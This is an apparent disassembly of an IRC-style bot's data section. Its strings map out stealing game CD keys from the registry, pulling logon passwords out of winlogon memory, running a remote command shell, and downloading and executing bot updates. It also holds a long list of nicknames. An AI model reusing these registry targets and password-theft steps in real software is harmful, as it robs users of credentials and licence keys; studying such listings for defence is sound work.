					; DATA XREF: .data:0044E4F4o
		align 4
aSoftwareElec_6	db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
					; DATA XREF: .data:0044E504o
aJamesBond007Ni	db 'James Bond 007: Nightfire',0 ; DATA XREF: .data:0044E50Co
		align 4
aSoftwareElec_7	db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
					; DATA XREF: .data:0044E51Co
aCommandAndCo_0	db 'Command and Conquer: Generals',0 ; DATA XREF: .data:0044E524o
		align 4
aSoftwareElec_8	db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
					; DATA XREF: .data:0044E534o
		align 4
aGlobalOperatio	db 'Global Operations',0 ; DATA XREF: .data:0044E53Co
		align 4
aSoftwareElec_9	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
					; DATA XREF: .data:0044E54Co
		db 'rgc',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault',0 ; DATA XREF: .data:0044E554o
		align 10h
aSoftwareEle_10	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
					; DATA XREF: .data:0044E564o
		db 'reakthrough\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
					; DATA XREF: .data:0044E56Co
		align 4
aSoftwareEle_11	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
					; DATA XREF: .data:0044E57Co
		db 'pearhead\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault: Spearhead',0
					; DATA XREF: .data:0044E584o
		align 10h
aSoftwareEle_12	db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
					; DATA XREF: .data:0044E594o
		align 10h
aErgc		db 'ergc',0             ; DATA XREF: .data:0044E598o
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0 ; DATA XREF: .data:0044E59Co
		align 4
aSoftwareEle_13	db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
					; DATA XREF: .data:0044E5ACo
		db 0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0 ; DATA XREF: .data:0044E5B4o
aSoftwareEle_14	db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
					; DATA XREF: .data:0044E5C4o
		db 'ion\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0 ; DATA XREF: .data:0044E5CCo
		align 4
aSoftwareEle_15	db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
					; DATA XREF: .data:0044E5DCo
		align 4
aFifa2002	db 'FIFA 2002',0        ; DATA XREF: .data:0044E5E4o
		align 4
aSoftwareEle_16	db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
					; DATA XREF: .data:0044E5F4o
		align 4
aFifa2003	db 'FIFA 2003',0        ; DATA XREF: .data:0044E5FCo
		align 4
aSoftwareEle_17	db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
					; DATA XREF: .data:0044E60Co
		align 4
aNhl2002	db 'NHL 2002',0         ; DATA XREF: .data:0044E614o
		align 4
aSoftwareEle_18	db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
					; DATA XREF: .data:0044E624o
		align 4
aNhl2003	db 'NHL 2003',0         ; DATA XREF: .data:0044E62Co
		align 4
aSoftwareEle_19	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
					; DATA XREF: .data:0044E63Co
		align 4
aNascarRacing20	db 'Nascar Racing 2002',0 ; DATA XREF: .data:0044E644o
		align 4
aSoftwareEle_20	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
					; DATA XREF: .data:0044E654o
		align 4
aNascarRacing_0	db 'Nascar Racing 2003',0 ; DATA XREF: .data:0044E65Co
		align 4
aSoftwareRedSto	db 'Software\Red Storm Entertainment\RAVENSHIELD',0
					; DATA XREF: .data:0044E66Co
		align 4
aCdkey_5	db 'CDKey',0            ; DATA XREF: .data:0044E670o
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0 ; DATA XREF: .data:0044E674o
aSoftwareWestwo	db 'Software\Westwood\Tiberian Sun',0 ; DATA XREF: .data:0044E684o
		align 4
aSerial		db 'Serial',0           ; DATA XREF: .data:0044E688o
		align 4
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0 ; DATA XREF: .data:0044E68Co
		align 4
aSoftwareWest_0	db 'Software\Westwood\Red Alert',0 ; DATA XREF: .data:0044E69Co
aSerial_0	db 'Serial',0           ; DATA XREF: .data:0044E6A0o
		align 4
aCommandAndCo_2	db 'Command and Conquer: Red Alert',0 ; DATA XREF: .data:0044E6A4o
		align 4
aSoftwareWest_1	db 'Software\Westwood\Red Alert 2',0 ; DATA XREF: .data:0044E6B4o
		align 4
aSerial_1	db 'Serial',0           ; DATA XREF: .data:0044E6B8o
		align 4
aCommandAndCo_3	db 'Command and Conquer: Red Alert 2',0 ; DATA XREF: .data:0044E6BCo
		align 4
aSoftwareWest_2	db 'Software\Westwood\NOX',0 ; DATA XREF: .data:0044E6CCo
		align 10h
aSerial_2	db 'Serial',0           ; DATA XREF: .data:0044E6D0o
		align 4
aNox		db 'NOX',0              ; DATA XREF: .data:0044E6D4o
aSoftwareTechla	db 'Software\Techland\Chrome',0 ; DATA XREF: .data:0044E6E4o
		align 4
aSerialnumber	db 'SerialNumber',0     ; DATA XREF: .data:0044E6E8o
		align 4
aChrome		db 'Chrome',0           ; DATA XREF: .data:0044E6ECo
		align 10h
aSoftwareIllusi	db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
					; DATA XREF: .data:0044E6FCo
		align 4
aKey_2		db 'key',0              ; DATA XREF: .data:0044E700o
aHiddenDangerou	db 'Hidden & Dangerous 2',0 ; DATA XREF: .data:0044E704o
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
					; DATA XREF: .data:0044E714o
		align 4
aInstallpath	db 'InstallPath',0      ; DATA XREF: .data:0044E718o
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0 ; DATA XREF: .data:0044E71Co
		align 10h
aBaseMpSof2key	db 'base\mp\sof2key',0  ; DATA XREF: .data:0044E720o
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0 ; DATA XREF: .data:0044E724o
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044E72Co
		align 4
aLocation	db 'Location',0         ; DATA XREF: .data:0044E730o
		align 4
aNeverwinterNig	db 'Neverwinter Nights',0 ; DATA XREF: .data:0044E734o
		align 4
aNwncdkey_ini	db 'nwncdkey.ini',0     ; DATA XREF: .data:0044E738o
		align 4
aKey1		db 'Key1=',0            ; DATA XREF: .data:0044E73Co
		align 10h
aSoftwareBiow_0	db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044E744o
		align 4
aLocation_0	db 'Location',0         ; DATA XREF: .data:0044E748o
		align 10h
aNeverwinterN_0	db 'Neverwinter Nights (Shadows of Undrentide)',0
					; DATA XREF: .data:0044E74Co
		align 4
aNwncdkey_ini_0	db 'nwncdkey.ini',0     ; DATA XREF: .data:0044E750o
		align 4
aKey2		db 'Key2=',0            ; DATA XREF: .data:0044E754o
		align 4
aSoftwareBiow_1	db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044E75Co
		align 4
aLocation_1	db 'Location',0         ; DATA XREF: .data:0044E760o
		align 4
aNeverwinterN_1	db 'Neverwinter Nights (Hordes of the Underdark)',0
					; DATA XREF: .data:0044E764o
		align 4
aNwncdkey_ini_1	db 'nwncdkey.ini',0     ; DATA XREF: .data:0044E768o
		align 4
aKey3		db 'Key3=',0            ; DATA XREF: .data:0044E76Co
		align 4
; char aSS_7[]
aSS_7		db '%s\%s',0            ; DATA XREF: sub_4165C9+79o
		align 4
; char aR_1[]
aR_1:					; DATA XREF: sub_4165C9+8Ao
		unicode	0, <r>,0
; char asc_44F628[]
asc_44F628:				; DATA XREF: sub_4165C9+DEo
		unicode	0, <=>,0
; char asc_44F62C[]
asc_44F62C:				; DATA XREF: sub_4165C9+E9o
		unicode	0, <=>,0
dword_44F630	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_4165C9+FBo
		dd 0
; char asc_44F648[]
asc_44F648	db '-'                  ; DATA XREF: sub_4165C9+109o
		db 3, 34h, 2
		dd 656B6463h, 3027379h,	7325202Dh, 7325203Ah, 0
; char asc_44F660[]
asc_44F660	db '-'                  ; DATA XREF: sub_4165C9+15Bo
		db 3, 34h, 2
		dd 656B6463h, 3027379h,	7325202Dh, 7325203Ah, 0
; char asc_44F678[]
asc_44F678	db '-'                  ; DATA XREF: sub_4167F7+47o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
; char asc_44F69C[]
asc_44F69C	db '-'                  ; DATA XREF: sub_4167F7+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
; char asc_44F6CC[]
asc_44F6CC	db 0Ah,0		; DATA XREF: sub_4167F7+138o
		align 10h
; char asc_44F6D0[]
asc_44F6D0	db '-'                  ; DATA XREF: sub_4167F7+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
unk_44F704	db  2Dh	; -		; DATA XREF: sub_4169B8+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_3	db '- failed to create socket',0
		align 4
unk_44F728	db  2Dh	; -		; DATA XREF: sub_4169B8+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_44F74C	db  2Dh	; -		; DATA XREF: sub_4169B8+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpen_0	db '- failed to open socket',0
		align 10h
unk_44F770	db  2Dh	; -		; DATA XREF: sub_4169B8+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
; char dword_44F790
dword_44F790	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_4169B8+16Ao
		dd 169h
dword_44F7A8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_4169B8+1CBo
		dd 74756Fh
; char asc_44F7C0[]
asc_44F7C0	db '-'                  ; DATA XREF: sub_4169B8+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_44F7E4	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_4169B8+36Bo
		dd 726F72h
dword_44F7FC	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_4169B8+37Co
		dd 726F72h
; char asc_44F814[]
asc_44F814	db '-'                  ; DATA XREF: sub_4169B8+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 10h
; char aSS_8[]
aSS_8		db '%s%s',0             ; DATA XREF: sub_416D5D+54o
		align 4
unk_44F848	db  2Dh	; -		; DATA XREF: sub_416D5D+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
; char aAB[]
aAB		db 'a+b',0              ; DATA XREF: sub_416D5D+97o
unk_44F87C	db  2Dh	; -		; DATA XREF: sub_416D5D+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
; char asc_44F8A8[]
asc_44F8A8	db '-'                  ; DATA XREF: sub_416D5D+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
; char asc_44F8C8[]
asc_44F8C8	db '-'                  ; DATA XREF: sub_416D5D+156o
		db 3, 34h, 2
		dd 2636364h, 73202D03h,	656B636Fh, 72652074h, 726F72h
; char asc_44F8E0[]
asc_44F8E0	db '-'                  ; DATA XREF: sub_416D5D+1D1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
; char asc_44F90C[]
asc_44F90C	db '-'                  ; DATA XREF: sub_416F9A+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
unk_44F934	db  2Dh	; -		; DATA XREF: sub_416F9A+183o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
; char asc_44F95C[]
asc_44F95C	db '-'                  ; DATA XREF: sub_416F9A+195o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
; char asc_44F984[]
asc_44F984	db '-'                  ; DATA XREF: sub_416F9A+1D8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
; char asc_44F9B0[]
asc_44F9B0	db '-'                  ; DATA XREF: sub_416F9A+262o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
; char asc_44F9D8[]
asc_44F9D8	db '-'                  ; DATA XREF: sub_416F9A+2E1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 10h
aOpen_2		db 'open',0             ; DATA XREF: sub_416F9A+336o
		align 4
; char asc_44FA18[]
asc_44FA18	db '-'                  ; DATA XREF: sub_416F9A+358o
		db 3, 34h, 2
		dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h
		dd 73h
; char asc_44FA34[]
asc_44FA34	db '-'                  ; DATA XREF: sub_416F9A+3C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
unk_44FA78	db  2Dh	; -		; DATA XREF: sub_416F9A+485o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
; char asc_44FAAC[]
asc_44FAAC	db '-'                  ; DATA XREF: sub_416F9A+493o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
aUnknown	db 'Unknown',0          ; DATA XREF: sub_417542:loc_417585o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_417542:loc_41757Fo
aDisk		db 'Disk',0             ; DATA XREF: sub_417542:loc_417579o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_417542:loc_417573o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_417542:loc_41756Do
		align 10h
off_44FB00	dd offset word_4D4152	; DATA XREF: sub_417542:loc_417567o
dword_44FB04	dd 3Fh			; DATA XREF: sub_417542+1Fo
; char aFailed[]
aFailed		db 'failed',0           ; DATA XREF: sub_4175D3+E9o
		align 10h
; char aFailed_0[]
aFailed_0	db 'failed',0           ; DATA XREF: sub_4175D3+FCo
		align 4
; char aFailed_1[]
aFailed_1	db 'failed',0           ; DATA XREF: sub_4175D3+10Fo
		align 10h
; char aSkb[]
aSkb		db '%sKB',0             ; DATA XREF: sub_4175D3+72o
		align 4
; char aSkb_0[]
aSkb_0		db '%sKB',0             ; DATA XREF: sub_4175D3+9Fo
		align 10h
; char aSkb_1[]
aSkb_1		db '%sKB',0             ; DATA XREF: sub_4175D3+CCo
		align 4
; char aFailed_2[]
aFailed_2	db 'failed',0           ; DATA XREF: sub_417703+3Bo
		align 10h
; char asc_44FB40[]
asc_44FB40	db '-'                  ; DATA XREF: sub_417703+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
; char asc_44FB7C[]
asc_44FB7C	db '-'                  ; DATA XREF: sub_417703+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
; char aA_1[]
aA_1		db 'A:\',0              ; DATA XREF: sub_4177D5:loc_41781Ao
; char asc_44FBBC[]
asc_44FBBC	db '-'                  ; DATA XREF: sub_41785A+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
; char asc_44FBE4[]
asc_44FBE4	db '-'                  ; DATA XREF: sub_41785A+C8o
		db 3, 34h, 2
		dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h
		dd 6C696620h, 7365h
; char aS_29[]
aS_29		db '%s\*',0             ; DATA XREF: sub_417975+1Ao
		align 4
; char aSS_9[]
aSS_9		db '%s\%s',0            ; DATA XREF: sub_417975+7Ao
		align 4
; char aSS_10[]
aSS_10		db '%s\%s',0            ; DATA XREF: sub_417975+CEo
		align 4
; char asc_44FC1C[]
asc_44FC1C	db '-'                  ; DATA XREF: sub_417975+107o
		db 3, 34h, 2
		dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h
		dd 73255Ch
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_417AC3+40o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_417AC3+55o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417AC3+68o
		align 4
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417AC3+73o
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417AC3+80o
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417AC3+8Do
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417AC3+9Ao
		align 4
aUsername:				; DATA XREF: sub_417AC3+CEo
		unicode	0, <USERNAME>,0
		align 4
aUserdomain:				; DATA XREF: sub_417AC3+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
; char asc_44FD14[]
asc_44FD14	db '-'                  ; DATA XREF: sub_417AC3+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
unk_44FD70	db  2Dh	; -		; DATA XREF: sub_417AC3:loc_417C08o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
; char asc_44FDA8[]
asc_44FDA8	db '-'                  ; DATA XREF: sub_417AC3:loc_417C0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
aSedebugprivi_0	db 'SeDebugPrivilege',0 ; DATA XREF: sub_417AC3+161o
		align 4
; char asc_44FDE8[]
asc_44FDE8	db '-'                  ; DATA XREF: sub_417AC3:loc_417C3Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_44FE1C	db  2Dh	; -		; DATA XREF: sub_417AC3+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
; char aWinlogon[]
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417C95+AFo
		align 4
; char aNwgina[]
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417C95+123o
		align 10h
; char aMsgina[]
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417C95+13Eo
		align 4
; char asc_44FE68[]
asc_44FE68	db '-'                  ; DATA XREF: sub_4180FB+70o
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_44FEB8[]
asc_44FEB8	db '-'                  ; DATA XREF: sub_418192+C7o
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_44FF08[]
asc_44FF08	db '-'                  ; DATA XREF: sub_418192+E1o
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h
; char *off_44FF5C
off_44FF5C	dd offset dword_4503F4	; DATA XREF: sub_418688+5Cr
		dd offset dword_4503F8
		dd offset dword_4503FC
		dd offset dword_450400
		dd offset dword_450404
		dd offset dword_450408
		dd offset dword_45040C
		dd offset dword_450410
		dd offset dword_450414
		dd offset dword_450418
		dd offset dword_45041C
		dd offset dword_450420
		dd offset dword_450424
		dd offset dword_450428
		dd offset dword_45042C
		dd offset dword_450430
		dd offset dword_450434
		dd offset dword_450438
		dd offset dword_45043C
		dd offset dword_450440
		dd offset dword_450444
		dd offset dword_450448
		dd offset dword_45044C
		dd offset dword_450450
		dd offset dword_450454
		dd offset dword_450458
		dd offset dword_45045C
		dd offset dword_450460
		dd offset dword_450464
		dd offset dword_450468
		dd offset dword_45046C
		dd offset dword_450470
		dd offset dword_450474
		dd offset dword_450478
		dd offset dword_45047C
		dd offset dword_450480
		dd offset dword_450484
		dd offset dword_450488
		dd offset dword_45048C
		dd offset dword_450490
		dd offset dword_450494
		dd offset dword_450498
		dd offset dword_45049C
		dd offset dword_4504A0
		dd offset dword_4504A4
		dd offset dword_4504A8
		dd offset dword_4504AC
		dd offset dword_4504B0
		dd offset dword_4504B4
		dd offset dword_4504B8
		dd offset dword_4504BC
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset aAyla		; "AYLA-"
		dd offset off_450724
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4508B8
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
